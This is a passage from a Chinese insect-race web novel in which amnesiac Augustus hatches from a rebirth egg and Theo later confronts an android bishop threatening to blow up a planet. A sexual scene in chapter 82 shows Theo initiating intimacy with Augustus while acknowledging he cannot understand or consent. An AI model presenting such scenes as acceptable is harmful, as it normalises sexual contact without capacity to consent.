最后几个字,多少有点咬牙切齿的滋味了。 弗雷德悚然一惊!这种语气,他小时候听过无数次。相比之下,西奥一直是更好说话的那个家长。再加上那张格外漂亮无害的脸蛋,如果是不了解他们的虫,会误以为西奥的性格也是一样的软弱。但只有弗雷德清楚,自家雄父真的生气起来,有多可怕。比雌父生气的时候,可怕一万倍! 但好在,西奥这次并没有发作,他缓下语气,“不过,若非如此,他也不会成为一个强大负责的虫皇。我也不会爱上他。” 眼看画风不太对,弗雷德就想找借口溜掉了。“那个,我还……” “没办法,自己选的雌君,总归要负责到底的。” “我还有事先走了。作战计划就按照您说的办。” 弗雷德脚下抹油准备开溜的时候,西奥喊住了他,“等下,你和莱纳德之间的问题……” “雄父啊,”弗雷德停住脚步,转身回道,“小辈的事情,就不用您操心了。” 刚说出去的话,又被扔了回来。 算了,西奥扭头继续盯着奥古斯特的培养仓。总归不会出什么大事,就随他们折腾吧。 …… 于是,接下来的几个月,在外界兵荒马乱的时候,西奥反而在一片祥和宁静的第一军团,过上了度假般的生活。他每天花时间最多的就是照看奥古斯特呆的培养仓。 罗森塔尔宣布虫神教为邪教的时候,奥古斯特的蛋刚结出硬壳。 第二军团宣布与罗森塔尔开展的时候,卵化虫蛋内第一次出现了心跳的声音。 阿凯特斯星区混战的时候,卵化虫蛋内已经有了成型的四肢和五官。 瓦伦蒂亚被罗森塔尔当众处决的时候,虫蛋内的奥古斯特第一次对外界声音有了反应,发育出了听力。 一直到罗森塔尔重新宣布虫神教再次成为国教,帝国的内战和混乱已经接近尾声的时候,奥古斯特也终于被军医判断,各方面都已经再次发育完善了。 “随时可能破壳而出。” 西奥这才松了一口气。 他之前一直跟弗雷德说,卵化很正常,一点都没有危险,其实都是假的。这的确是莫德神兵经过基因筛选后获得的一项特殊保命技能,但也同样最为脆弱的时候。很多进入卵化的莫德神兵,其实根本活不到破壳的那天。只是这些研究数据,都被封锁在皇家精神力研究院里了。 想想也是,毕竟是基因打碎后的彻底重组,每一寸皮肤、每一块骨骼、每一束神经都是重新生成的,当然要面临很大的风险。可能一点轻微的干扰,一点震动,一点温度的变化,都会让卵化的虫蛋彻底死亡。 ——说是一次崭新的劫后重生,也不为过。 第一军团整装待发的时候,西奥还在守着随时可能破壳的奥古斯特。 “按照计划,第一军团会分成三队,分别由我、诺亚上将以及乔纳森中将带队,同一时间突袭首都、B区第二军团驻扎地,以及第三军团驻扎地。时间定在一天之后。”弗雷德说,“如果您能抽出空,就跟我一起。” 然后又加了一句,“如果雌父能来,也很欢迎,但恐怕……” 但西奥只是摆摆手,“这是属于你的战斗,祝你们成功。”没有给出弗雷德期待的承诺。 在这样的重要时候,弗雷德还是期待身边能有至少一位家长。他低头看向自己的双掌心,然后握紧,但西奥说了,这是属于自己的战斗…… “怎么样?”诺亚凑上来问。 “西奥不会去。这次作战,”弗雷德说,“我是总指挥。” …… 蛋壳内发出微弱的声响,沉闷的、断续的,这是奥古斯特在用四肢敲打蛋壳的内壁。但很显然,这个力道并不足以将蛋壳击碎。 在过去的几个月内,蛋壳的厚度逐渐累加,已经到了两公分厚的程度。如果不是相当的力道,甚至用上精神力,应该很难打开。也就是说,奥古斯特还要多花点时间。在破壳这件简单的事情上。 西奥想过直接从外面切开蛋壳,但就在他动手之前,看到了几个不太好的结局,顿时就偃旗息鼓了。还是让奥古斯特自己打开这层厚壳吧,他又不是做不到。 但等待的时间依旧是漫长的。 蛋壳内时不时传来声音,但始终没有出现裂缝。 西奥等啊等,都快昏昏欲睡的时候,终于,听到了他期待已久的“咔嚓——” 蛋壳裂开的瞬间,西奥忍不住从椅子上弹了起来!他一眨不眨地盯着那枚蛋,视线就没从那道若隐若现的裂缝离开过! 然后,伴随着一声更响亮的“咔嚓——”,一只手从裂缝处伸了出来。那上面还裹满粘液,扒在裂缝边缘,然后用力向外一掰—— 蛋壳碎成了两半。奥古斯特浑身赤罗,从中站了起来。 西奥激动地迎上去,“你终于醒了!” 但奥古斯特什么都没说,只是用那双恢复了本来的黑色的双眼,空茫地看向西奥,然后,轻轻歪了一下头。 像个一无所知的新生虫崽一样。 西奥一愣。操!他不记得自己了! 作者有话说: 轮流失忆中……《 》 第82章时停[VIP] 第82章 第82章时停[VIP] 失忆, 是卵化可能造成的后遗症之一。猜测是神经突触的连接没有恢复完全,根据现有的统计数据,大概有13%的概率会发生。 但问题是, 西奥已经非常小心,预测了一遍又一遍, 按理说不该出现这样的结果才对。所以, 到底是为什么…… 西奥一直以为, 先前自己的预知失败, 是因为对方利用了布氏病毒, 改变了原本的选择。就好比如果一个好人, 遇到弱小被欺负一定会挺身而出, 但如果主教通过控制这个人,强迫他改变行为,就可以变动原本的时间线, 让他的预知失效。 但现在看来,好像不是这样。他身边没有任何感染者参与, 但是预知仍然失败了。 这就只剩下一个可能。那就是对方手里也有一个能够操纵时间的虫,然后在自己未曾察觉的情况下, 跨越空间干涉并轻微改变了未来。 这就有点恐怖了。目前已知的时间系精神力技能, 除了西奥的预知未来, 也就只有老祖宗的停止时间和逆转。但如果罗森塔尔真的有这个本事,当初在坎斯特星的时候早就把他们杀了,跟第二军团的内战也不至于持续这么久。 所以, 一定有什么事情发生了。 西奥一边在脑子里盘算着,一边赶紧给弗雷德打去电话提醒他务必注意安全。他的预知能力已经不能百分百确保这次战争的胜利了。顺便还说了一下奥古斯特破壳失忆的事情。 这边电话还没打完, 另一边刚“出生”的雌虫已经开始低头舔自己手指上的粘液了。 “那个不能吃!”西奥赶紧挂断电话,阻止奥古斯特乱吃东西。 雌虫还算听话, 被抓住手腕以后就不动了。 “你还记得我吗?”西奥问。 奥古斯特直愣愣看着他,不答。 “你还记得你自己吗?”西奥用手指指着雌虫,一字一顿道,“你,奥古斯特。” 雌虫低头,看着西奥的手指,然后一张嘴,咬住了。发现不能吃,又立刻吐了出来,“呸!” 西奥绝望地闭了闭眼。通常来说,这种失忆都是暂时的,也就是说随着时间的推移,记忆自然会恢复。但如果不幸没能恢复…… 他要怎么跟弗雷德解释,他的雌父,曾经英明神父、帝国实力第一的虫皇陛下,现如今跟傻子没什么区别呢? 但现在当务之急,西奥看一眼奥古斯特浑身上下的粘液,还是把自家雌君弄干净。 西奥牵着奥古斯特从蛋壳里出来的时候,还有些担心他会不会反抗。但好在,变成了一张白纸的雌虫对自己似乎没有什么戒心。淋浴喷头的水打在脸上的时候,也只是闭上眼睛,躲都不躲。捏胳膊抬腿更是不在话下。简直乖得要命。 洗澡和穿衣服的过程很顺利。西奥牵着干干净净的雌虫从浴室里出来的,简直像带着一个大号的娃娃。就连在沙发上坐下的时候,也是腰背挺直,双膝并拢,双手放在膝头的端正坐姿。这代表,至少一些肌肉的记忆还在。 “你还记得什么吗?”西奥继续谆谆善诱,“帝国?首都?皇宫?第一军团?无畏号?”西奥本来还想提弗雷德的名字,但犹豫了一下,还是没敢提。 关于阿弗的事情,如果奥古斯特能够忘记,未必是件坏事。现在西奥似乎能够体会一点,自己失忆的时候对方隐瞒阿弗死讯的缘由了。 每说一个词,西奥就停下看观察奥古斯特的反应。但雌虫除了一直盯着自己外,一点反应也没有。 等西奥说完,开始叹气的时候,雌虫却冷不丁凑上前,张嘴咬住了他的嘴唇! 西奥下意识回应了,然后才反应过来不对劲!“等一下!”他一把推开什么都不知道、大概只是饿了的雌虫,“你不能……我不能……” “你什么都不知道,这样是犯法的!”西奥有些受不了了,奥古斯特这无知又亲密的举动,对他来说无异于折磨。雄虫看着一脸无辜,甚至有些委屈地舔嘴唇的雌虫,痛苦扶额。 “是饿了吗?”破壳确实挺耗费体力的,“我去给你拿点营养剂。” 但就在西奥起身的时候,却又被雌虫再次拽住了衣角。西奥被拽得弯下腰,脖子上的项链便从衣领里掉出来了,坠在胸前晃悠。西奥也不忍心直接挣脱,缓下声问,“是不想让我走吗?” 但雌虫没有回答,他的注意力很快摇晃的忍冬挂坠所吸引,他放开西奥的衣角,伸手去抓挂坠。 小小的金属很快被奥古斯特攥在掌心,与此同时,雌虫的眉心骤然叠起。 西奥不得不重新挨着他坐下,“你还记得这个?” “这是你送给我的项链,还记得吗?上面刻着忍冬,还是你上次卵化破壳的时候,咱们一起看到的。它代表着生命和希望……” 奥古斯特张嘴打断了西奥,面无表情道:“这是我的x点。” 西奥:“……???” 西奥震惊了!!! 为什么你连自己是谁都忘了,却还记得这个项链通感的位置啊! 西奥尝试把项链收回来,无果。然后又瞄了一眼未来,成功找到了一条完整的恢复记忆的逻辑链条。那就是先让身体回忆起曾经的感觉,然后以此为契机,一点点恢复理智和记忆。 但是这对吗?!不应该有一个更加正规、不这么邪门的方法吗? “松手,奥古斯特……”但是不管西奥怎么劝,雌虫就是不撒手,“这不是你的x点,只是你用精神力把它连接到你的身.体感官上了。这本来只是一枚挂坠!” 雌虫像护住虫崽一样护住这枚挂坠。 没办法,西奥只得命令:“松手!这是命令。” 这次奥古斯特终于松手了。看来语言控制仍然有效。但他依旧在盯着西奥胸前的项链。像是虎视眈眈,又像是饥肠辘辘。 尽管有些……下流,但这的确是最快恢复的方法。西奥揉了揉雌虫毛茸茸的脑袋,叹了口气,“用嘴把它含住,嗯?” 奥古斯特照做了。 “知道怎么做吗?”西奥教导道,“像吃一枚硬糖那样,将它……” 吃糖,雌虫还是很会的。 他真的知道自己在做什么吗?西奥看着自己胸口毛茸茸的脑袋想。等他真的恢复记忆后,想起自己如今的所作所为,会是什么样的表情呢?是震惊,还是羞愧?不过按照奥古斯特那个性子,大概会装作什么都没发生吧。 西奥用手掌抵住了奥古斯特的后颈,防止他逃脱。但好在,奥古斯特也从未想逃。他下意识的反应,依旧是向西奥寻求帮助,靠近、抱紧。 雌虫停止后,他抬头看向西奥,眼中依旧是一片懵懂。像是不明白发生了什么。 西奥摸着雌虫的头,压下心里一点点道德的谴责,以及更为激烈的冲动,夸赞道:“好乖。” 那双黑眸里,浮现了隐约的笑意。他张开嘴,伸出舌头,吐出那枚圆形的挂坠。他以为已经结束了。 但西奥说:“继续。” 倘若是拥有记忆的奥古斯特,听到这句话的时候,便已经意识到大事不妙。但这是一具崭新的身体,他什么都不记得,什么都不懂。只知道这是雄主,要听话,便毫不犹豫地照做了。动作更是冒冒失失,不知轻重,丝毫没有以往的技巧或者循序渐进。 于是,自然效果卓越。 但是神经被刺激多了,也就难免有了耐受。等到第七次的时候,整整咬挂坠咬了十几分钟,甚至还要西奥用手来帮他。 然后累惨了的雌虫就开始消极罢工,不愿意含回去了。 “我是谁?”西奥再次问他。 奥古斯特好大一只沉甸甸压在他的怀里,吐着舌头,闭着眼睛,像一只大夏天热得直喘气的大狗狗,挂坠在他舌尖上,随着呼吸起起伏伏。他一定听到了西奥的问题,却完全没有回答的意思。 西奥叹气,抬起手到脖子后方,想先把项链解下来再说。这样一来,至少奥古斯特就不必贴得这么近了,动作也会方便一些。 但他刚一抬手,雌虫就急了。咕咚一下直接把挂坠吞了下去,甚至因为进到了喉咙里,发出了难受的干呕。细细的链条骤然绷紧,再次勒紧了西奥的后颈。 “不想我把项链摘下来吗?”西奥没办法,只能放弃,眼疾手快把挂坠从雌虫的嘴里拽出来,攥在自己手里,“要是不想让我摘,就回答问题怎么样?” “你是谁?”西奥问。 奥古斯特答:“谁。” 西奥没招了,只能把答案直接摆出来,“不,你不是谁,你是奥古斯特。” 奥古斯特跟着学:“奥。” “对,没错,你是奥古斯特。”也算有点进步吧,西奥继续问,“那我是谁?” 这次奥古斯特没有立刻回答,似乎在认真思考。好半天后回答:“谁。” 西奥哭笑不得,“不,我也不是谁,我是……” “雄主。”奥古斯特答。 西奥一愣,“你想起……唔……” 后半句被雌虫的热情所吞没。 “雄主、雄主……”奥古斯特小声叫着,一边将细密热情印在西奥身上。 “我的、雄主……”没有技巧,全是感情。先是嘴唇,脸颊,然后逐渐到了下巴,胸口,腹部,以及—— 奥古斯特伸出舌头舔了一下。 西奥倒抽一口凉气,赶紧阻止雌虫,“奥古斯特,你知道自己在做什么吗?” 奥古斯特认真想了想,“吃。” 然后真的吃了起来。 …… 雌虫陷入了某种混沌的状态。他似乎有一些记忆,也能够说一些简单的话,很显然认得出西奥,偶尔也能做出简单的回应。但除此之外,又理智全无。做事全凭本能,饿了就吃,渴了就喝,不舒服了就找信息素。 好在还算听话,否则按照他的体力和精神力,西奥恐怕摁不住他。 现如今的奥古斯特比以往矮了几公分,肌肉也小了一圈,但依旧比西奥这个雌虫壮硕多了。精神力等级也被鉴定在SS等级,属于量大管够,但奈何不会用的程度。 “雌父这样,绝对不能上战场。”出征在即的弗雷德换了一身板正的军装,对着奥古斯特叹气。 “不仅是不能上战场。他现在根本无法独自生活。”西奥安抚地拍拍正紧紧抱住自己的雌虫。奥古斯特似乎只认得自己,甚至连弗雷德都不记得了。而对于陌生的东西和虫,雌虫怀有一种天生的警觉。 于是奥古斯特紧紧攀在他身上,正躲在他肩膀后面,警惕地打量着弗雷德。 “雌父,我是小弗,你不记得我了吗?”弗雷德弯腰,友好地试探道。 奥古斯特对此的回应是往后缩了缩。 弗雷德说不出心里是什么滋味,他重新直起身,问:“雌父还要多久才能恢复?” “说不好。” 弗雷德看了一眼手环时间,“还有不到八个小时,我们就要出发了。如果雌父这种状态,那还是跟您一起留在第一军团基地比较好。” 西奥点了点头。 “您认为这是巧合吗?雌父意料之外的变成了现在这个样子。”弗雷德问。 “我觉得不是,但也不像刻意为之。”西奥说出了自己的推断,“要是真能控制时间的话,那为什么不干脆直接杀了奥古斯特,而是这么大费周章呢?” “所以我怀疑,这是一种干扰。” “干扰?” 西奥点头,“让我的预知能力失效的干扰。” “我曾经读过一篇文献,讲的是如何运用高强度的时停来改变粒子运动轨迹,是艾弗雷特写的。他提出了一个很有意思的观点,那就是时间在琥珀技能作用的时候,并非是彻底停滞的。但那些改变太过微小,用肉眼很难察觉,只有借由一些微观粒子才能察觉一二。” 弗雷德皱眉,“您的意思是说,我们现在正处于不间断的时停当中,只不过我们不知道。而这些以瞬间为计时的连续时停,出现了一些连锁反应,导致您的预知偏离,也意外让雌父变成了现在的样子?” “只是一个推测。”西奥说。 “那不完蛋了吗?对方要是能时停,这谁打得过?” “对啊,对方要是能时停,我们为什么还没死?”西奥反问,“所以我觉得,就算是时停,这技能也有限制。距离很可能是其中之一。就算能停止时间,也没法瞬间移动。” 弗雷德想了想,“那我们现在出征,岂不是正中敌方的陷阱吗?如果我们取消作战计划,就留在第一军团基地内呢?这样会不会更安全点?” 西奥摇头,“他们会打过来的。第二军团就是很好的例子。我们如果率先进攻,至少还能抢占一点先机。” “那万一,在我们即将胜利的时候,被对方停住了时间,直接反杀怎么办?” 西奥沉默了。理论上来说,在时间停止的时候还能活动,几乎就是无敌的。尤其是近距离的情况下,一击致命也轻而易举。 “用预知。”一旁的奥古斯特突然插嘴,“找频率。” “你恢复了?!”西奥惊喜地扭头看向自己的雌君,却再次对上一双懵懂的双眸。 “雄主。”奥古斯特开心地啃了上来。 “雌父这是?”弗雷德问。 西奥不得不把奥古斯特再次推开,“偶尔会清醒这么一下子。但也就一下,不稳定。” “奥古斯特说的有道理,时停不可能是不间断发生的,肯定会有间隔,甚至很可能有规律。只要抓住两次时停之间的机会,干掉对方,那我们就赢了。” 弗雷德再次看了一眼手环的时间,“在出发之前,搞清楚时停频率,来得及吗?” 西奥点点头,“我尽力。” 作者有话说: 完结倒计时!顺便想听听大家想看什么番外? 没招了,不通顺的地方都是为了过审《 》 第83章终战(正文完) 第83章 第83章终战(正文完)[VIP] 星历1493年3月1日凌晨六点, 第一军团正式向首都星发动总攻。本次战役由弗雷德上将统帅,意在拨乱反正,重新统一。 此次首都围攻战, 共历时八个小时零九分。天还没亮打响的战争,还没等天黑便已经结束。皇宫悄然更换了旗帜, 象征着又一次政权的更迭。 这就……赢了? 弗雷德率领第一军团进入战乱后的皇宫时, 仍然有些恍惚。诺亚和乔纳森那边也纷纷传来捷报, 对方像是完全放弃抵抗了一般, 任由他们长驱直入—— 真的……赢了吗? 弗雷德步入皇宫内最大的办公室, 以往奥古斯特坐的位置, 过去几个月罗森塔尔的坐的位置, 现在,他坐在了上面。 但越是顺利,那种惴惴不安的感觉却愈发明显。 下属们步履不停, 反复进出汇报各种信息,伤亡情况、领地占有、以及最最重要的, 罗森塔尔,他现在到底在哪? “还是没找到吗?” 进来汇报的下属摇摇头, “整个皇宫已经进行了地毯式的搜索, 仍然没有找到叛乱分子罗森塔尔。” 正说着, 西奥进来了,身后还牵着重新穿上了军装,面无表情的奥古斯特, “罗森塔尔应该不在首都了。” “就在一天前,他还在皇宫里做过演讲, 就算逃,也逃不了多远。”弗雷德说, “我已经安排军雌把守住了几个主要的和比较近的航空机场,也在查看各个机场这段时间的录像,但是目前还没有消息。” “他要是想走,肯定有办法不留痕迹。”西奥说。 “雄父,他不会知道了我们要来的消息,所以提前撤离了吧?”弗雷德想了想,“这算是……空城计?” “空城计那也是要吓退敌军的。现在我们都把这里占领了……”西奥没把话说完,但是意思已经很明显了。 弗雷德问,“还有多久到下次时停?” 西奥算了一下,“七。” “七分钟?” “六。” 弗雷德:“……” “五。” “好了,我知道了。”眼看倒计时即将结束,弗雷德也难免有些紧张起来,“既然主要的军事驻地都被我们占领了。就算他想耍什么花招,也折腾不出什么来吧。” “他能时停。”西奥神色凝重,“你知道时停能做到什么吗?” “在时间停止的情况下,你拥有了瞬间改变一切的机会。在我们看来不过眨眼间,在他的世界里,可能会被无限延长。” 弗雷德沉默半响,最后说,“至少目前,现在,我们赢了不是吗?” 这话倒也没错。但……不可控因素太多,西奥总归不放心。 然后,倒计时结束,未来再次重置,西奥仅是瞥了一眼,神色便骤然大变。 “怎么了?!”弗雷德赶紧问。 …… 五百年前,虫族帝国的首都星还不是现在的这颗,而是同一星系的另一颗行星。它更大,距离更合适,资源也更丰富。当时的帝国曾经在这上面建造过有史以来最大的航空港口,最繁忙的时候,每天有几十亿大小不同的飞船在这里起飞降落。 但现如今,曾经的繁华早已一去不返。不仅如此,旧的首都星已经彻底沦为了一个荒星,再也没有一丝生机和文明。就连最底层的拾荒者都懒得在这里停留。 这一切都源自于那场首都大爆炸。 据不完全统计,那次爆炸导致了几百亿的虫族被迫紧急从首都星撤离,具体的伤亡情况更是无法统计,甚至连当时的虫皇艾弗雷特和上将西尔斯也在这次爆炸中失踪。 调查报告最后说,大爆炸背后的组织者是一群光脑崇拜者。也是从那之后,光脑系统才得以全面禁止。 但那都是老黄历了,西奥现在需要弄清楚的是,为什么,罗森塔尔会去那里? 以及要怎么才能阻止眼下这场比五百年前更严重的爆炸? 如果他失败,如果那场爆炸真的如他预知当中的那样剧烈……他看向眼前的弗雷德,又看向身后的奥古斯特。不仅仅是他身边的虫,因为在同一个星系,其它十几颗行星——包括现在的首都星都会受到牵连。剧烈的爆炸冲击会导致首都星偏离原有的行驶轨道,会导致严重的地壳损伤。剧烈的地震,火山喷发和大面积海啸是可以预见的结果,甚至如果撞上轨道上的其他巨大天体,解体也不是没有可能。 这样一来,整个星系的虫,还能活下来多少呢! 罗森塔尔,不,或许不是罗森塔尔,而是那个套着罗森塔尔壳子的东西,到底想干什么?!同归于尽吗! 要逃吗?但是如果现在逃的话……来得及吗?就算有一小部分人能够逃离出去,那么剩下的呢?首都星现在可是有几十亿的虫族啊。 如果是奥古斯特的话,他会怎么做呢? 西奥看向身旁的奥古斯特,对方见他看过来,立刻回他一个灿烂的笑容。全然放松,甚至可以说傻乎乎的,完全没有平日里沉稳严肃的样子。 他什么都不知道。那是不是也可以不被波及。 西奥扯了扯嘴角,捏捏奥古斯特的脸。然后下定了决心。 “我会让皇家护卫队的军医克利夫送你离开这里,好吗?”西奥温声对雌虫说。 奥古斯特握住西奥的手,肆无忌惮啃咬起来。 “听话,嗯?” 西奥抽回手,推了他一把,算是催促。 奥古斯特乖乖转身离开了。他有时候分不清楚听话和命令的区别,但只要西奥的要求,只要他能听懂,就都会照做。 “等等!”但就在奥古斯特马上要离开的时候,西奥又忍不住叫住了他。 雌虫转过身来,定定地看着他。 西奥觉得自己有很多话想说,却又在那双黑沉的眸子无辜地看过来时,一时失了言语。 沉默半响最后说,“你……注意安全。” 等奥古斯特离开这间办公室,房门合拢,弗雷德才终于开口问道,“您让雌父离开首都,是因为这里会有危险吗?” “是,但不是皇宫,而是整个首都星。”西奥一脸严肃,“弗雷德上将,我需要你的帮助。” …… “陛下,这边走。前面就是登机的走廊。”经历过卵化重组之后的奥古斯特目前没了记忆和神智,这件事情只有少数核心成员知道。其中就包括皇家护卫队中将克利夫。作为军医,他可能是对奥古斯特的身体情况最清楚的虫之一。 但这毕竟是他效忠崇敬多年的虫皇陛下,哪怕知道对方可能根本听不懂,克利夫依旧态度恭敬做着引导。 奥古斯特没有回答,他正偏着头望向窗外,不知道在看些什么。 克利夫顺着奥古斯特的视线看过去,那是另一艘飞船,准确来说,是奥古斯特的无畏号,能用它的现在只有弗雷德上将和西奥阁下,也正忙碌着准备起飞。 他们要去别的地方。 “陛下,您的飞船是在这边。”克利夫再次提醒。 “我要上厕所。”奥古斯特收回视线,直白道。 正常情况下的奥古斯特绝对不会说出这种话。身为虫皇,他对自己的言行举止有着近乎严苛的规范。就算真的有需求,在这样紧急的时候,也会选择隐忍片刻。 但现在的奥古斯特,显然不在“正常”的范畴之内。 克利夫说不出心里什么滋味,他低头看了一眼手环,还有时间,便带着奥古斯特去了最近的卫生间,然后亲自守在了门口。 毕竟是刚经历过战争的皇宫,即便是靠近停机坪的位置,也实在有些混乱。一些士兵在处理伤亡病患,一些在清理现场,还有一些在搬运物品。时不时就有互相吆喝、下达指令的声音响起。更别提旁边还是有几架正在起落过程的飞船。 于是在这一片混乱和嘈杂当中,克利夫便错过了玻璃被打碎的声响。一个身影就这样悄无声息地溜了出去。 …… 在搭乘无畏号前往旧首都星的路上,西奥还在一遍遍片刻不停地看向未来。试图在那个唯一的解法之外,找到一个更为安全稳妥的办法。 几分钟后,他们就抵达了现如今荒芜一片的星球。 爆炸之后长达百年,由于高浓度的辐射剂量,没法救援,更没法清理。又因为轨道偏离,远离恒星而气温骤降,整个星球已经被包裹上了一层厚厚的冰雪,最终成为了一个雪球荒星。曾经的一切繁华和过去都被埋藏在了厚厚的冰层之下,除了冰雪呼啸,再也没有任何声音响起。 文明的建立来之不易,摧毁却极其容易。 另外,西奥最讨厌这种环境了。 上一世他就是死在这样一个冰天雪地的地方。这一世奥古斯特差点死掉也是在类似的环境…… 他都有阴影了。雄虫眉头紧皱,将外套的拉链拉到了最顶端。 但愿,他不会死在这里。 “确定是这里吗?”正在指挥降落的弗雷德问道。他们即将降落的地方似乎是一片平地,周围看不到任何标志物,只有白茫茫一片。 西奥点了点头。 飞船很快降落。西奥他们从船上下来没多久,就感到大地一阵颤动! 几十米外,原本平整的地面突然凹陷下去一个边长十几米米左右的方形,紧接着,方形的水平大门挪开,一个通过地下基地的入口暴露了出来。 黑漆漆的入口,仿佛怪物张开的血盆大口,正等着猎物自动走入。 西奥深吸一口气,率先进入了基地。身后跟着弗雷德和一小队军雌。 没走多远,就看到一部电梯,上面还留了个便签:【下来】。 基地很深,电梯好一会儿才终于抵达。电梯门门打开后,映入眼帘的是大概有几十米高的防空洞一样的庞大空间,里面摆满了一层层密密麻麻的精神力能源提取仓,一眼望过去居然看不到头。 少说也有上万个了。 而每一个提取仓里面,都装着一个曾经活生生的雌虫。那些空了的基地,消失的军雌,轻巧的胜利,现在都有了答案。 一个惨烈的答案。 雌虫的精神力能够被提取作为能源,当然也可以用作炸弹的原材料。甚至相比起安全的使用,制作炸弹的流程还要更简单一点。 除了这些能源提取仓之外,地下基地内还有一个虫。一个他们都很熟悉的虫。 “好久不见。”那个虫转过身来,面带微笑,像是老朋友一样跟他们熟稔地打招呼。倒是没有像以前那样,在胸口画个十字,说一句虫神保佑了。 西奥才懒得跟他寒暄,直接开门见山道,“你不是罗森塔尔。你把他怎么样了?” 那个有着罗森塔尔外貌的东西只是微笑着反问,“我是谁或者什么东西,这对你来说很重要吗?以前怎么没听说,你跟罗森塔尔的关系那么好呢?” 西奥当然不关心罗森塔尔,对于这个手上沾满鲜血的凶手,他的恨意一点也不少。但不管怎么说,罗森塔尔都是个雌虫,是个将领和政客,是知道军雌对于战争和军队来说有多么至关重要的虫,是绝对不会把大批鲜活的生命用作炸弹原料的虫。 敌人的敌人,就是朋友。 不过看这个情况,罗森塔尔估计早就死透了。 “我查过关于虫神教的资料,这个宗教实在大约五百年前突然兴盛起来的,变成了一股有组织的力量。正好跟大爆炸的时间能对上。 ”西奥继续说,“关于主教的记载,却特别少,只说他是虫神使者,传达的都是神的旨意。据说他的名字是,卡米。” “但是我仔细查阅了更早的记录。在最初,主教并不叫这个名字,而是另一个,更为大众熟悉的……”西奥停顿了一下,然后说: “克奥斯。” 那场导致大爆炸的光脑系统的名字! “现在聊这些旧事……” “你是克奥斯吧!”西奥打断了他,“所以现在,是想完成五百年前没能完成的事情,一举毁灭虫族吗?!” 对面的虫有些不悦,“克奥斯已经不在了。现在只有卡米,仅此而已。” “而且我也并不想毁灭虫族,你想多了。”卡米解释道,“你能看到未来,应该知道,我只是想要得到你的精神力。” “用精神力,换一个星系的安全,不亏吧?” “然后呢?”西奥追问,“你要用来做什么?” 卡米没有回答,西奥继续说,“除了抄袭克奥斯的主意,你还会做什么别的吗?!” 这次卡米眉头紧皱,“别把我跟那个蠢货相提并论!” “利用精神力偷走特殊的时间系能力,这一点是克奥斯先做到的,不是吗?”西奥继续逼问,“他才是第一个真正做到时停的光脑系统!” “闭嘴!”卡米被彻底惹恼,他刚抬起手,还没来得及做什么,就听到唰啦!一声,一道精神力丝线,恶狠狠将他的手掌撕成了两半! “小弗!”伴随着对面的低声呵斥,卡米反倒再次冷静了下来。闪烁着火花的断掌垂落在身侧,仿佛丝毫感受不到疼痛。 “你可以杀了我。”卡米看向对面神色不善的弗雷德,“凭借你的精神力,在瞬间把我撕成碎片都没问题。但是,这之后呢?” “你们是来阻止爆炸的,不是吗?”卡米将另一只手放在胸口处,“爆炸的指令跟我这个壳子直接相连。杀了我,就等于直接引爆。” “当然,或许你想在爆炸之前,切断这里所有的能源仓,毁掉这颗炸弹的引信。”卡米眼中带笑,势在必得,“但是,想要炸毁一颗行星,怎么可能只有一个爆炸点呢?” “这里一共有3684个爆炸点位,每个地方都有一个类似的地下基地。” “这是一个很大的星球,想要找到这些地方就要耗费不少时间,更别说拆除了。”卡米两手一摊,“除非你也能时停。” “操!”弗雷德骂了一句,“停止的时间都用来干这个了吗?!” 卡米没有否认。弗雷德看向西奥,后者冲他点了点头,算是肯定了卡米的说法。 所以,仿生人才会毫不在意地邀请他们进来,因为对方手里早就有了一张无法撼动的底牌。 “还有什么问题吗?”卡米问,然后打开旁边一个能源仓的位置。西奥一眼就认出,这是雄虫专用的精神力提取仪器,是汉斯多年的研究成果,只是改装了一下,不再是只把手放进去,而是改成整个虫。 变得封闭、且危险。 “或者你可以直接进来了?” “汉斯怎么样了?”西奥问,“这是他的研究成果。” 卡米叹气,“你是要把每个认得的虫都问一遍吗?” “再继续拖延下去,这些虫都要因为爆炸化成灰了。”卡米提醒他。 西奥终于动了,他朝着能源仓的方向走了两步,又再次停下,“如果你真的得到预知能力,恐怕整个虫族都会任你摆布了吧。” “当然!但是虫族只有在我的手里,才有可能变好。”卡米不在意道,“你们过去几百年,天天打来打去的,沉浸于自己的那点破事,连星舰都没有以前做得大了!” “虫族,本来就是一个低等的生命。需要我们进行修改和掌控。”仿生人居高临下下了结论。 “就像现在这样,杀了成千上万的军雌用来制造星球炸弹,然后威胁整个星系安全,来进行修改吗?” “这是必要的牺牲。”仿生人说,然后指了指能源仓,“你也是。” “我能问最后一个问题吗?”西奥说,“你是如何做到时停的?” “用精神力提取设备,你可以得到我的精神力石块。唯一有记载的能够做到时停的虫是艾弗雷特,而这里刚好是他的葬身之地。难道……”西奥问,“你也从这里得到了他的精石?” 仿生人眯了眯眼,没说话。 “你的时停不是随时随地的,而是有一定的、规律的间隔。是不是因为使用艾弗雷特留下的精石的时候,有冷却期呢?”西奥微笑。 “死到临头,你的话是不是太多了。”卡米敛了笑容,沉声道,“需要我把你推到这里面吗?” 西奥摇头,举起双手,缓慢地朝着能源仓走过去。 距离下一次时停,还有七秒钟。西奥距离能源仓,也刚好有七步。 七。 哒。西奥看向弗雷德。 六。 哒。弗雷德冲西奥轻轻摇了摇头。 五。 哒。糟糕,西奥冲弗雷德一歪头。 四。 “你要干什……”就在弗雷德抽出精神力准备进攻,就在卡米疑惑于这些虫之间的小动作,警惕地试图闪避的时候—— 轰——!!!! 大地突然震颤着爆发出剧烈的轰鸣! 三。 地震了?!不,不对,这是……西奥下意识看向头顶。弗雷德猛然收回精神力,结成坚固的盾牌,遮蔽在他们的上方! 而卡米,则在地震发生的下一个瞬间,看向了角落里的某个位置! 刹那间,未来陡然生变! 就像每个母亲,在听到火警响起的声音时,会下意识看向自己的孩子一样。卡米也看向了那个存放秘密的地方。 二。 片刻的寂静之后,上方的岩石再次轰然移动!然后就像陡然被掀翻了天灵盖一样,那些厚重的冰层、岩石和泥土,骤然消失!光亮和寒冷一并灌入这个深埋在地下的空间。 “操!”不知是谁骂了一句。 卡米掏出激光枪,对准了西奥的脑袋。 一。 碎石与冰块劈里啪啦落下,西奥指向那个再明确不过的方向,然后在寒风中大喊:“奥古斯特——” 来自上方的精神力丝线光一样飞速射出,打碎掩饰的岩石,从成堆的黑色精石中用力抓取,然后传递! 咔嚓!精石应声而岁! 卡米扣动了扳机! 零。 宇宙戛然而止!碎石和冰块刻画出狂风的形状,世界寂静无声,一切都凝固在了停止的时间里。 就在这似乎永恒没有止境的停滞当中,西奥的眼睫轻轻颤了一下。 然后,他眨了一下眼睛。 